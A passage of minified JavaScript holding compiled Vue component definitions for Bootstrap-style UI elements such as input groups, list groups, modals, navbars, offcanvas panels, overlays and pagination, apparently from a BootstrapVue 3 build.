t=e,n=(0,a.EW)(()=>({\"input-group-sm\":\"sm\"===t.size,\"input-group-lg\":\"lg\"===t.size})),r=(0,a.EW)(()=>!!t.append||!!t.appendHtml),l=(0,a.EW)(()=>!!t.prepend||!!t.prependHtml);return(t,s)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:e.id,class:(0,i.C4)([\"input-group\",(0,o.R1)(n)]),role:\"group\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"prepend\",{},()=>[(0,o.R1)(l)?((0,a.uX)(),(0,a.CE)(\"span\",mp,[e.prependHtml?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.prependHtml},null,8,gp)):((0,a.uX)(),(0,a.CE)(\"span\",yp,(0,i.v_)(e.prepend),1))])):(0,a.Q3)(\"\",!0)]),(0,a.RG)(t.$slots,\"default\"),(0,a.RG)(t.$slots,\"append\",{},()=>[(0,o.R1)(r)?((0,a.uX)(),(0,a.CE)(\"span\",bp,[e.appendHtml?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.appendHtml},null,8,$p)):((0,a.uX)(),(0,a.CE)(\"span\",wp,(0,i.v_)(e.append),1))])):(0,a.Q3)(\"\",!0)])]),_:3},8,[\"id\",\"class\"]))}}),kp=(0,a.pM)({__name:\"BInputGroupText\",props:{tag:{default:\"div\"},text:null},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"input-group-text\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3}))}}),Cp=(0,a.pM)({__name:\"BInputGroupAddon\",props:{isText:{default:!1}},setup(e){const t=cu((0,o.lW)(e,\"isText\"));return(e,n)=>(0,o.R1)(t)?((0,a.uX)(),(0,a.Wv)(kp,{key:0},{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3})):(0,a.RG)(e.$slots,\"default\",{key:1})}}),xp=(0,a.pM)({__name:\"BInputGroupAppend\",props:{isText:{default:!1}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)(Cp,{\"is-text\":e.isText},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"is-text\"]))}}),Sp=(0,a.pM)({__name:\"BInputGroupPrepend\",props:{isText:{default:!1}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)(Cp,{\"is-text\":e.isText},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"is-text\"]))}}),Ep=Symbol(),Tp=(0,a.pM)({__name:\"BListGroup\",props:{flush:{default:!1},horizontal:{type:[Boolean,String],default:!1},numbered:{default:!1},tag:{default:\"div\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"flush\")),r=cu((0,o.lW)(t,\"numbered\")),l=(0,a.EW)(()=>{const e=!n.value&&t.horizontal;return{\"list-group-flush\":n.value,\"list-group-horizontal\":!0===e,[`list-group-horizontal-${e}`]:\"string\"==typeof e,\"list-group-numbered\":r.value}}),s=(0,a.EW)(()=>!0===r.value?\"ol\":t.tag);return(0,a.Gt)(Ep,{numbered:r.value}),(e,t)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)((0,o.R1)(s)),{class:(0,i.C4)([\"list-group\",(0,o.R1)(l)])},{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},8,[\"class\"]))}}),Rp=(0,a.pM)({__name:\"BListGroupItem\",props:{action:{default:!1},active:{default:!1},button:{default:!1},disabled:{default:!1},href:null,tag:{default:\"div\"},target:{default:\"_self\"},to:null,variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"action\")),r=cu((0,o.lW)(t,\"active\")),i=cu((0,o.lW)(t,\"button\")),l=cu((0,o.lW)(t,\"disabled\")),s=(0,a.OA)(),u=(0,a.WQ)(Ep,null),d=(0,a.EW)(()=>!i.value&&(!!t.href||!!t.to)),c=(0,a.EW)(()=>null!=u&&u.numbered?\"li\":i.value?\"button\":d.value?gd:t.tag),f=(0,a.EW)(()=>{const e=n.value||d.value||i.value||[\"a\",\"router-link\",\"button\",\"b-link\"].includes(t.tag);return{[`list-group-item-${t.variant}`]:void 0!==t.variant,\"list-group-item-action\":e,active:r.value,disabled:l.value}}),p=(0,a.EW)(()=>{const e={};return i.value&&((!s||!s.type)&&(e.type=\"button\"),l.value&&(e.disabled=!0)),e});return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)((0,o.R1)(c)),(0,a.v6)({class:[\"list-group-item\",(0,o.R1)(f)],\"aria-current\":!!(0,o.R1)(r)||null,\"aria-disabled\":!!(0,o.R1)(l)||null,target:(0,o.R1)(d)?e.target:null,href:(0,o.R1)(i)?null:e.href,to:(0,o.R1)(i)?null:e.to},(0,o.R1)(p)),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},16,[\"class\",\"aria-current\",\"aria-disabled\",\"target\",\"href\",\"to\"]))}}),Op=[\"id\"],Mp={inheritAttrs:!1},Ap=(0,a.pM)({...Mp,__name:\"BModal\",props:{bodyBgVariant:null,bodyClass:null,bodyTextVariant:null,busy:{default:!1},lazy:{default:!1},buttonSize:{default:\"md\"},cancelDisabled:{default:!1},cancelTitle:{default:\"Cancel\"},cancelVariant:{default:\"secondary\"},centered:{default:!1},contentClass:null,dialogClass:null,footerBgVariant:null,footerBorderVariant:null,footerClass:null,footerTextVariant:null,fullscreen:{type:[Boolean,String],default:!1},headerBgVariant:null,headerBorderVariant:null,headerClass:null,headerCloseLabel:{default:\"Close\"},headerCloseWhite:{default:!1},headerTextVariant:null,hideBackdrop:{default:!1},hideFooter:{default:!1},hideHeader:{default:!1},hideHeaderClose:{default:!1},id:null,modalClass:null,modelValue:{default:!1},noCloseOnBackdrop:{default:!1},noCloseOnEsc:{default:!1},noFade:{default:!1},noFocus:{default:!1},okDisabled:{default:!1},okOnly:{default:!1},okTitle:{default:\"Ok\"},okVariant:{default:\"primary\"},scrollable:{default:!1},show:{default:!1},size:null,title:null,titleClass:null,titleSrOnly:{default:!1},titleTag:{default:\"h5\"}},emits:[\"update:modelValue\",\"show\",\"shown\",\"hide\",\"hidden\",\"hide-prevented\",\"ok\",\"cancel\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"busy\")),s=cu((0,o.lW)(n,\"lazy\")),u=cu((0,o.lW)(n,\"cancelDisabled\")),d=cu((0,o.lW)(n,\"centered\")),c=cu((0,o.lW)(n,\"headerCloseWhite\")),f=cu((0,o.lW)(n,\"hideBackdrop\")),p=cu((0,o.lW)(n,\"hideFooter\")),h=cu((0,o.lW)(n,\"hideHeader\")),v=cu((0,o.lW)(n,\"hideHeaderClose\")),m=cu((0,o.lW)(n,\"modelValue\")),g=cu((0,o.lW)(n,\"noCloseOnBackdrop\")),y=cu((0,o.lW)(n,\"noCloseOnEsc\")),b=cu((0,o.lW)(n,\"noFade\")),$=cu((0,o.lW)(n,\"noFocus\")),w=cu((0,o.lW)(n,\"okDisabled\")),_=cu((0,o.lW)(n,\"okOnly\")),k=cu((0,o.lW)(n,\"scrollable\")),C=cu((0,o.lW)(n,\"show\")),x=cu((0,o.lW)(n,\"titleSrOnly\")),S=(0,o.KR)(!1),E=xu((0,o.lW)(n,\"id\"),\"modal\"),T=(0,o.KR)(),R=(0,o.KR)(),O=(0,a.EW)(()=>[{fade:!b.value,show:C.value},n.modalClass]),M=(0,a.EW)(()=>[{\"modal-fullscreen\":!0===n.fullscreen,[`modal-fullscreen-${n.fullscreen}-down`]:\"string\"==typeof n.fullscreen,[`modal-${n.size}`]:void 0!==n.size,\"modal-dialog-centered\":d.value,\"modal-dialog-scrollable\":k.value},n.dialogClass]),A=(0,a.EW)(()=>[{[`bg-${n.bodyBgVariant}`]:n.bodyBgVariant,[`text-${n.bodyTextVariant}`]:n.bodyTextVariant},n.bodyClass]),D=(0,a.EW)(()=>[{[`bg-${n.headerBgVariant}`]:n.headerBgVariant,[`border-${n.headerBorderVariant}`]:n.headerBorderVariant,[`text-${n.headerTextVariant}`]:n.headerTextVariant},n.headerClass]),B=(0,a.EW)(()=>[{[`bg-${n.footerBgVariant}`]:n.footerBgVariant,[`border-${n.footerBorderVariant}`]:n.footerBorderVariant,[`text-${n.footerTextVariant}`]:n.footerTextVariant},n.footerClass]),W=(0,a.EW)(()=>[{[\"visually-hidden\"]:x.value},n.titleClass]),P=(0,a.EW)(()=>u.value||r.value),I=(0,a.EW)(()=>w.value||r.value);mu(T,\"shown.bs.modal\",e=>N(e)),mu(T,\"hidden.bs.modal\",e=>L(e)),mu(T,\"show.bs.modal\",e=>j(e)),mu(T,\"hide.bs.modal\",e=>F(e));const N=e=>{t(\"shown\",e),!0===s.value&&(S.value=!0),!1===m.value&&t(\"update:modelValue\",!0),e.target.focus()},L=e=>{t(\"hidden\",e),!0===s.value&&(S.value=!1),!0===m.value&&t(\"update:modelValue\",!1);const n=document.querySelector(\".modal\");n&&n.focus()},j=e=>{t(\"show\",e)},F=e=>{t(\"hide\",e)},V=()=>{m.value&&t(\"update:modelValue\",!0),X().show()},U=()=>{m.value&&t(\"update:modelValue\",!1),X().hide()},X=()=>(void 0!==R.value||(R.value=new Ao(T.value,{backdrop:!1,keyboard:!y.value,focus:!$.value})),R.value);return(0,a.sV)(()=>{m.value&&X().show()}),(0,a.xo)(()=>{var e;null==(e=R.value)||e.dispose(),R.value=void 0}),(0,a.wB)(()=>n.noCloseOnBackdrop,e=>{X()._config.backdrop=!n.hideBackdrop&&(e?\"static\":!n.hideBackdrop)}),(0,a.wB)(()=>n.noCloseOnEsc,e=>{X()._config.keyboard=!e}),(0,a.wB)(()=>m.value,e=>{(0,a.dY)(()=>{e?V():U()})}),(n,r)=>((0,a.uX)(),(0,a.Wv)(a.Im,{to:\"body\"},[(0,a.Lk)(\"div\",(0,a.v6)({id:(0,o.R1)(E),ref_key:\"element\",ref:T,class:[\"modal\",(0,o.R1)(O)],tabindex:\"-1\"},n.$attrs),[(0,a.Lk)(\"div\",{class:(0,i.C4)([\"modal-dialog\",(0,o.R1)(M)])},[!(0,o.R1)(s)||(0,o.R1)(s)&&S.value||(0,o.R1)(s)&&!0===(0,o.R1)(m)?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)([\"modal-content\",e.contentClass])},[(0,o.R1)(h)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)([\"modal-header\",(0,o.R1)(D)])},[(0,a.RG)(n.$slots,\"header\",{},()=>[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.titleTag),{class:(0,i.C4)([\"modal-title\",(0,o.R1)(W)])},{default:(0,a.k6)(()=>[(0,a.RG)(n.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)],!0)]),_:3},8,[\"class\"])),(0,o.R1)(v)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(a.FK,{key:0},[n.$slots[\"header-close\"]?((0,a.uX)(),(0,a.CE)(\"button\",{key:0,type:\"button\",\"data-bs-dismiss\":\"modal\",onClick:r[0]||(r[0]=e=>U())},[(0,a.RG)(n.$slots,\"header-close\",{},void 0,!0)])):((0,a.uX)(),(0,a.Wv)(ad,{key:1,type:\"button\",\"aria-label\":e.headerCloseLabel,\"data-bs-dismiss\":\"modal\",white:(0,o.R1)(c),onClick:r[1]||(r[1]=e=>U())},null,8,[\"aria-label\",\"white\"]))],64))],!0)],2)),(0,a.Lk)(\"div\",{class:(0,i.C4)([\"modal-body\",(0,o.R1)(A)])},[(0,a.RG)(n.$slots,\"default\",{},void 0,!0)],2),(0,o.R1)(p)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"div\",{key:1,class:(0,i.C4)([\"modal-footer\",(0,o.R1)(B)])},[(0,a.RG)(n.$slots,\"footer\",{},()=>[(0,o.R1)(_)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.Wv)(Dd,{key:0,type:\"button\",class:\"btn\",disabled:(0,o.R1)(P),size:e.buttonSize,variant:e.cancelVariant,onClick:r[2]||(r[2]=e=>(U(),t(\"cancel\")))},{default:(0,a.k6)(()=>[(0,a.eW)((0,i.v_)(e.cancelTitle),1)]),_:1},8,[\"disabled\",\"size\",\"variant\"])),(0,a.bF)(Dd,{type:\"button\",class:\"btn\",disabled:(0,o.R1)(I),size:e.buttonSize,variant:e.okVariant,onClick:r[3]||(r[3]=e=>(U(),t(\"ok\")))},{default:(0,a.k6)(()=>[(0,a.eW)((0,i.v_)(e.okTitle),1)]),_:1},8,[\"disabled\",\"size\",\"variant\"])],!0)],2))],2)):(0,a.Q3)(\"\",!0)],2),!1===(0,o.R1)(f)?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:\"modal-backdrop fade show\",onClick:r[4]||(r[4]=(0,l.D$)(e=>!1===(0,o.R1)(g)&&U(),[\"prevent\"]))})):(0,a.Q3)(\"\",!0)],16,Op)]))}}),Dp=vd(Ap,[[\"__scopeId\",\"data-v-f7e6d64f\"]]),Bp=(0,a.pM)({__name:\"BNav\",props:{align:null,cardHeader:{default:!1},fill:{default:!1},justified:{default:!1},pills:{default:!1},small:{default:!1},tabs:{default:!1},tag:{default:\"ul\"},vertical:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"cardHeader\")),r=cu((0,o.lW)(t,\"fill\")),l=cu((0,o.lW)(t,\"justified\")),s=cu((0,o.lW)(t,\"pills\")),u=cu((0,o.lW)(t,\"small\")),d=cu((0,o.lW)(t,\"tabs\")),c=cu((0,o.lW)(t,\"vertical\")),f=(0,a.EW)(()=>({\"nav-tabs\":d.value,\"nav-pills\":s.value&&!d.value,\"card-header-tabs\":!c.value&&n.value&&d.value,\"card-header-pills\":!c.value&&n.value&&s.value&&!d.value,\"flex-column\":c.value,\"nav-fill\":!c.value&&r.value,\"nav-justified\":!c.value&&l.value,[`justify-content-${t.align}`]:!c.value&&void 0!==t.align,small:u.value}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"nav\",(0,o.R1)(f)])},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"class\"]))}}),Wp=(0,a.pM)({__name:\"BNavForm\",props:{role:null,id:null,floating:{default:!1},novalidate:{default:!1},validated:{default:!1}},emits:[\"submit\"],setup(e,{emit:t}){const n=e,r=e=>t(\"submit\",e),i=(0,a.EW)(()=>({floating:n.floating,role:n.role,id:n.id,novalidate:n.novalidate,validated:n.validated}));return(e,t)=>((0,a.uX)(),(0,a.Wv)(lf,(0,a.v6)((0,o.R1)(i),{class:\"d-flex\",onSubmit:(0,l.D$)(r,[\"prevent\"])}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16,[\"onSubmit\"]))}}),Pp=(0,a.pM)({components:{BLink:gd},props:{...ds(pd,[\"event\",\"routerTag\"])},setup(e){return{disabledBoolean:cu((0,o.lW)(e,\"disabled\"))}}}),Ip={class:\"nav-item\"};function Np(e,t,n,r,o,i){const l=(0,a.g2)(\"b-link\");return(0,a.uX)(),(0,a.CE)(\"li\",Ip,[(0,a.bF)(l,(0,a.v6)({class:\"nav-link\"},e.$props,{\"active-class\":\"active\",tabindex:e.disabledBoolean?-1:void 0,\"aria-disabled\":!!e.disabledBoolean||void 0}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16,[\"tabindex\",\"aria-disabled\"])])}const Lp=vd(Pp,[[\"render\",Np]]),jp={class:\"nav-item dropdown\"},Fp=(0,a.pM)({__name:\"BNavItemDropdown\",props:{id:null,text:null,toggleClass:null,size:null,offset:null,autoClose:{type:[Boolean,String],default:!0},dark:{type:Boolean,default:!1},dropleft:{type:Boolean,default:!1},dropright:{type:Boolean,default:!1},dropup:{type:Boolean,default:!1},right:{type:Boolean,default:!1},left:{type:[Boolean,String],default:!1},split:{type:Boolean,default:!1},splitVariant:null,noCaret:{type:Boolean,default:!1},variant:{default:\"link\"}},setup(e){return(e,t)=>((0,a.uX)(),(0,a.CE)(\"li\",jp,[(0,a.bF)(Pc,(0,a.v6)(e.$props,{\"is-nav\":\"\"}),(0,a.eX)({_:2},[(0,a.pI)(e.$slots,(t,n)=>({name:n,fn:(0,a.k6)(t=>[(0,a.RG)(e.$slots,n,(0,i._B)((0,a.Ng)(t||{})))])}))]),1040)]))}}),Vp={class:\"navbar-text\"},Up=(0,a.pM)({__name:\"BNavText\",props:{text:null},setup(e){return(t,n)=>((0,a.uX)(),(0,a.CE)(\"li\",Vp,[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]))}}),Xp=(0,a.pM)({__name:\"BNavbar\",props:{fixed:null,print:{default:!1},sticky:null,tag:{default:\"nav\"},toggleable:{type:[Boolean,String],default:!1},dark:{default:!1},variant:null,container:{type:[String,Boolean],default:\"fluid\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"print\")),r=cu((0,o.lW)(t,\"dark\")),l=(0,a.EW)(()=>\"nav\"===t.tag?void 0:\"navigation\"),s=(0,a.EW)(()=>\"string\"==typeof t.toggleable?`navbar-expand-${t.toggleable}`:!1===t.toggleable?\"navbar-expand\":void 0),u=(0,a.EW)(()=>!1===t.container?void 0:!0===t.container?\"container\":`container-${t.container}`),d=(0,a.EW)(()=>({\"d-print\":n.value,[`sticky-${t.sticky}`]:void 0!==t.sticky,\"navbar-dark\":r.value,[`bg-${t.variant}`]:void 0!==t.variant,[`fixed-${t.fixed}`]:void 0!==t.fixed,[`${s.value}`]:void 0!==s.value}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"navbar\",(0,o.R1)(d)]),role:(0,o.R1)(l)},{default:(0,a.k6)(()=>[!1!==e.container?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)((0,o.R1)(u))},[(0,a.RG)(t.$slots,\"default\")],2)):(0,a.RG)(t.$slots,\"default\",{key:1})]),_:3},8,[\"class\",\"role\"]))}}),Hp=ds(pd,[\"event\",\"routerTag\"]),Gp=(0,a.pM)({components:{BLink:gd},props:{tag:{type:String,default:\"div\"},...Hp},setup(e){const t=(0,a.EW)(()=>du(e)),n=(0,a.EW)(()=>t.value?gd:e.tag);return{props:t.value?su(e,Hp):{},computedTag:n}}});function Yp(e,t,n,r,o,i){return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.computedTag),(0,a.v6)({class:\"navbar-brand\"},e.props),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16)}const zp=vd(Gp,[[\"render\",Yp]]),Kp=(0,a.pM)({__name:\"BNavbarNav\",props:{align:null,fill:{default:!1},justified:{default:!1},small:{default:!1},tag:{default:\"ul\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"fill\")),r=cu((0,o.lW)(t,\"justified\")),l=cu((0,o.lW)(t,\"small\")),s=(0,a.EW)(()=>({\"nav-fill\":n.value,\"nav-justified\":r.value,[`justify-content-${t.align}`]:void 0!==t.align,small:l.value}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"ul\",{class:(0,i.C4)([\"navbar-nav\",(0,o.R1)(s)])},[(0,a.RG)(e.$slots,\"default\")],2))}}),qp=(0,a.Lk)(\"span\",{class:\"navbar-toggler-icon\"},null,-1),Qp=(0,a.pM)({__name:\"BNavbarToggle\",props:{disabled:{default:!1},label:{default:\"Toggle navigation\"},target:null},emits:[\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"disabled\")),i=(0,a.EW)(()=>({disabled:r.value,\"aria-label\":n.label})),l=(0,a.EW)(()=>({disabled:r.value})),s=e=>{r.value||t(\"click\",e)};return(t,n)=>(0,a.bo)(((0,a.uX)(),(0,a.CE)(\"button\",(0,a.v6)({class:[\"navbar-toggler\",(0,o.R1)(l)],type:\"button\"},(0,o.R1)(i),{onClick:s}),[(0,a.RG)(t.$slots,\"default\",{},()=>[qp])],16)),[[(0,o.R1)(Lu),(0,o.R1)(r)?void 0:e.target]])}}),Zp=[\"data-bs-backdrop\",\"data-bs-scroll\"],Jp={key:0,class:\"offcanvas-header\"},eh={id:\"offcanvasLabel\",class:\"offcanvas-title\"},th={class:\"offcanvas-body\"},nh={key:1},rh=(0,a.pM)({__name:\"BOffcanvas\",props:{dismissLabel:{default:\"Close\"},modelValue:{default:!1},bodyScrolling:{default:!1},backdrop:{default:!0},placement:{default:\"start\"},title:null,noHeaderClose:{default:!1},noHeader:{default:!1}},emits:[\"update:modelValue\",\"show\",\"shown\",\"hide\",\"hidden\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"modelValue\")),l=cu((0,o.lW)(n,\"bodyScrolling\")),s=cu((0,o.lW)(n,\"backdrop\")),u=cu((0,o.lW)(n,\"noHeaderClose\")),d=cu((0,o.lW)(n,\"noHeader\")),c=(0,o.KR)(),f=(0,o.KR)();mu(c,\"shown.bs.offcanvas\",()=>t(\"shown\")),mu(c,\"hidden.bs.offcanvas\",()=>t(\"hidden\"));const p=()=>{t(\"show\"),t(\"update:modelValue\",!0)},h=()=>{t(\"hide\"),t(\"update:modelValue\",!1)};mu(c,\"show.bs.offcanvas\",()=>{p()}),mu(c,\"hide.bs.offcanvas\",()=>{h()}),(0,a.sV)(()=>{var e;f.value=new ti(c.value),r.value&&(null==(e=f.value)||e.show(c.value))});const v=(0,a.EW)(()=>({[`offcanvas-${n.placement}`]:!!n.placement}));return(0,a.wB)(()=>r.value,e=>{var t,n;e?null==(t=f.value)||t.show(c.value):null==(n=f.value)||n.hide()}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{ref_key:\"element\",ref:c,class:(0,i.C4)([\"offcanvas\",(0,o.R1)(v)]),tabindex:\"-1\",\"aria-labelledby\":\"offcanvasLabel\",\"data-bs-backdrop\":(0,o.R1)(s),\"data-bs-scroll\":(0,o.R1)(l)},[(0,o.R1)(d)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"div\",Jp,[(0,a.RG)(t.$slots,\"header\",(0,i._B)((0,a.Ng)({visible:e.modelValue,placement:e.placement,hide:h})),()=>[(0,a.Lk)(\"h5\",eh,[(0,a.RG)(t.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)])]),(0,o.R1)(u)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.Wv)(ad,{key:0,type:\"button\",class:\"text-reset\",\"data-bs-dismiss\":\"offcanvas\",\"aria-label\":e.dismissLabel},null,8,[\"aria-label\"]))])])),(0,a.Lk)(\"div\",th,[(0,a.RG)(t.$slots,\"default\")]),t.$slots.footer?((0,a.uX)(),(0,a.CE)(\"div\",nh,[(0,a.RG)(t.$slots,\"footer\",(0,i._B)((0,a.Ng)({visible:e.modelValue,placement:e.placement,hide:h})))])):(0,a.Q3)(\"\",!0)],10,Zp))}}),ah=(0,a.pM)({__name:\"BOverlay\",props:{bgColor:null,blur:{default:\"2px\"},fixed:{default:!1},noCenter:{default:!1},noFade:{default:!1},noWrap:{default:!1},opacity:{default:.85},overlayTag:{default:\"div\"},rounded:{type:[Boolean,String],default:!1},show:{default:!1},spinnerSmall:{default:!1},spinnerType:{default:\"border\"},spinnerVariant:null,variant:{default:\"light\"},wrapTag:{default:\"div\"},zIndex:{default:10}},emits:[\"click\",\"hidden\",\"shown\"],setup(e,{emit:t}){const n=e,r={top:0,left:0,bottom:0,right:0},l=cu((0,o.lW)(n,\"fixed\")),s=cu((0,o.lW)(n,\"noCenter\")),u=cu((0,o.lW)(n,\"noFade\")),d=cu((0,o.lW)(n,\"noWrap\")),c=cu((0,o.lW)(n,\"show\")),f=cu((0,o.lW)(n,\"spinnerSmall\")),p=(0,a.EW)(()=>!0===n.rounded||\"\"===n.rounded?\"rounded\":!1===n.rounded?\"\":`rounded-${n.rounded}`),h=(0,a.EW)(()=>n.variant&&!n.bgColor?`bg-${n.variant}`:\"\"),v=(0,a.EW)(()=>c.value?\"true\":null),m=(0,a.EW)(()=>({type:n.spinnerType||void 0,variant:n.spinnerVariant||void 0,small:f.value})),g=(0,a.EW)(()=>({...r,zIndex:n.zIndex||10})),y=(0,a.EW)(()=>[\"b-overlay\",{\"position-absolute\":!d.value||!l.value,\"position-fixed\":d.value&&l.value}]),b=(0,a.EW)(()=>[h.value,p.value]),$=(0,a.EW)(()=>({...r,opacity:n.opacity,backgroundColor:n.bgColor||void 0,backdropFilter:blur?`blur(${blur})`:void 0})),w=(0,a.EW)(()=>s.value?r:{top:\"50%\",left:\"50%\",transform:\"translateX(-50%) translateY(-50%)\"});return(n,r)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.wrapTag),{class:\"b-overlay-wrap position-relative\",\"aria-busy\":(0,o.R1)(v)},{default:(0,a.k6)(()=>[(0,a.RG)(n.$slots,\"default\"),(0,a.bF)(bc,{\"no-fade\":(0,o.R1)(u),\"trans-props\":{enterToClass:\"show\"},name:\"fade\",onOnAfterEnter:r[1]||(r[1]=e=>t(\"shown\")),onOnAfterLeave:r[2]||(r[2]=e=>t(\"hidden\"))},{default:(0,a.k6)(()=>[(0,o.R1)(c)?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.overlayTag),{key:0,class:(0,i.C4)((0,o.R1)(y)),style:(0,i.Tr)((0,o.R1)(g)),onClick:r[0]||(r[0]=e=>t(\"click\",e))},{default:(0,a.k6)(()=>[(0,a.Lk)(\"div\",{class:(0,i.C4)([\"position-absolute\",(0,o.R1)(b)]),style:(0,i.Tr)((0,o.R1)($))},null,6),(0,a.Lk)(\"div\",{class:\"position-absolute\",style:(0,i.Tr)((0,o.R1)(w))},[(0,a.RG)(n.$slots,\"overlay\",(0,i._B)((0,a.Ng)((0,o.R1)(m))),()=>[(0,a.bF)(Od,(0,i._B)((0,a.Ng)((0,o.R1)(m))),null,16)])],4)]),_:3},8,[\"class\",\"style\"])):(0,a.Q3)(\"\",!0)]),_:3},8,[\"no-fade\"])]),_:3},8,[\"aria-busy\"]))}}),oh=5,ih=20,lh=0,sh=3,uh=\"ellipsis-text\",dh=\"first-text\",ch=\"last-text\",fh=\"next-text\",ph=\"page\",hh=\"prev-text\",vh=e=>Math.max(au(e)||ih,1),mh=e=>Math.max(au(e)||lh,0),gh=(e,t)=>{const n=au(e)||1;return n>t?t:n\u003C1?1:n},yh=(0,a.pM)({name:\"BPagination\",props:{align:{type:String,default:\"start\"},ariaControls:{type:String,required:!1},ariaLabel:{type:String,default:\"Pagination\"},disabled:{type:[Boolean,String],default:!1},ellipsisClass:{type:[Array,String],default:()=>[]},ellipsisText:{type:String,default:\"…\"},firstClass:{type:[Array,String],default:()=>[]},firstNumber:{type:[Boolean,String],default:!1},firstText:{type:String,default:\"«\"},hideEllipsis:{type:[Boolean,String],default:!1},hideGotoEndButtons:{type:[Boolean,String],default:!1},labelFirstPage:{type:String,default:\"Go to first page\"},labelLastPage:{type:String,default:\"Go to last page\"},labelNextPage:{type:String,default:\"Go to next page\"},labelPage:{type:String,default:\"Go to page\"},labelPrevPage:{type:String,default:\"Go to previous page\"},lastClass:{type:[Array,String],default:()=>[]},lastNumber:{type:[Boolean,String],default:!1},lastText:{type:String,default:\"»\"},limit:{type:Number,default:oh},modelValue:{type:Number,default:1},nextClass:{type:[Array,String],default:()=>[]},nextText:{type:String,default:\"›\"},pageClass:{type:[Array,String],default:()=>[]},perPage:{type:Number,default:ih},pills:{type:[Boolean,String],default:!1},prevClass:{type:[Array,String],default:()=>[]},prevText:{type:String,default:\"‹\"},size:{type:String,required:!1},totalRows:{type:Number,default:lh}},emits:[\"update:modelValue\",\"page-click\"],setup(e,{emit:t,slots:n}){const r=cu((0,o.lW)(e,\"disabled\")),i=cu((0,o.lW)(e,\"firstNumber\")),l=cu((0,o.lW)(e,\"hideEllipsis\")),s=cu((0,o.lW)(e,\"hideGotoEndButtons\")),u=cu((0,o.lW)(e,\"lastNumber\")),d=cu((0,o.lW)(e,\"pills\")),c=us((0,o.lW)(e,\"align\")),f=(0,a.EW)(()=>Math.ceil(mh(e.totalRows)\u002Fvh(e.perPage))),p=(0,a.EW)(()=>{let t;return t=f.value-e.modelValue+2\u003Ce.limit&&e.limit>sh?f.value-v.value+1:e.modelValue-Math.floor(v.value\u002F2),t\u003C1?t=1:t>f.value-v.value&&(t=f.value-v.value+1),e.limit\u003C=sh&&u.value&&f.value===t+v.value-1&&(t=Math.max(t-1,1)),t}),h=(0,a.EW)(()=>{const t=f.value-e.modelValue;let n=!1;return t+2\u003Ce.limit&&e.limit>sh?e.limit>sh&&(n=!0):e.limit>sh&&(n=!(l.value&&!i.value)),p.value\u003C=1&&(n=!1),n&&i.value&&p.value\u003C4&&(n=!1),n}),v=(0,a.EW)(()=>{let t=e.limit;return f.value\u003C=e.limit?t=f.value:e.modelValue\u003Ce.limit-1&&e.limit>sh?((!l.value||u.value)&&(t=e.limit-(i.value?0:1)),t=Math.min(t,e.limit)):f.value-e.modelValue+2\u003Ce.limit&&e.limit>sh?(!l.value||i.value)&&(t=e.limit-(u.value?0:1)):e.limit>sh&&(t=e.limit-(l.value?0:2)),t}),m=(0,a.EW)(()=>{const t=f.value-v.value;let n=!1;e.modelValue\u003Ce.limit-1&&e.limit>sh?(!l.value||u.value)&&(n=!0):e.limit>sh&&(n=!(l.value&&!u.value)),p.value>t&&(n=!1);const r=p.value+v.value-1;return 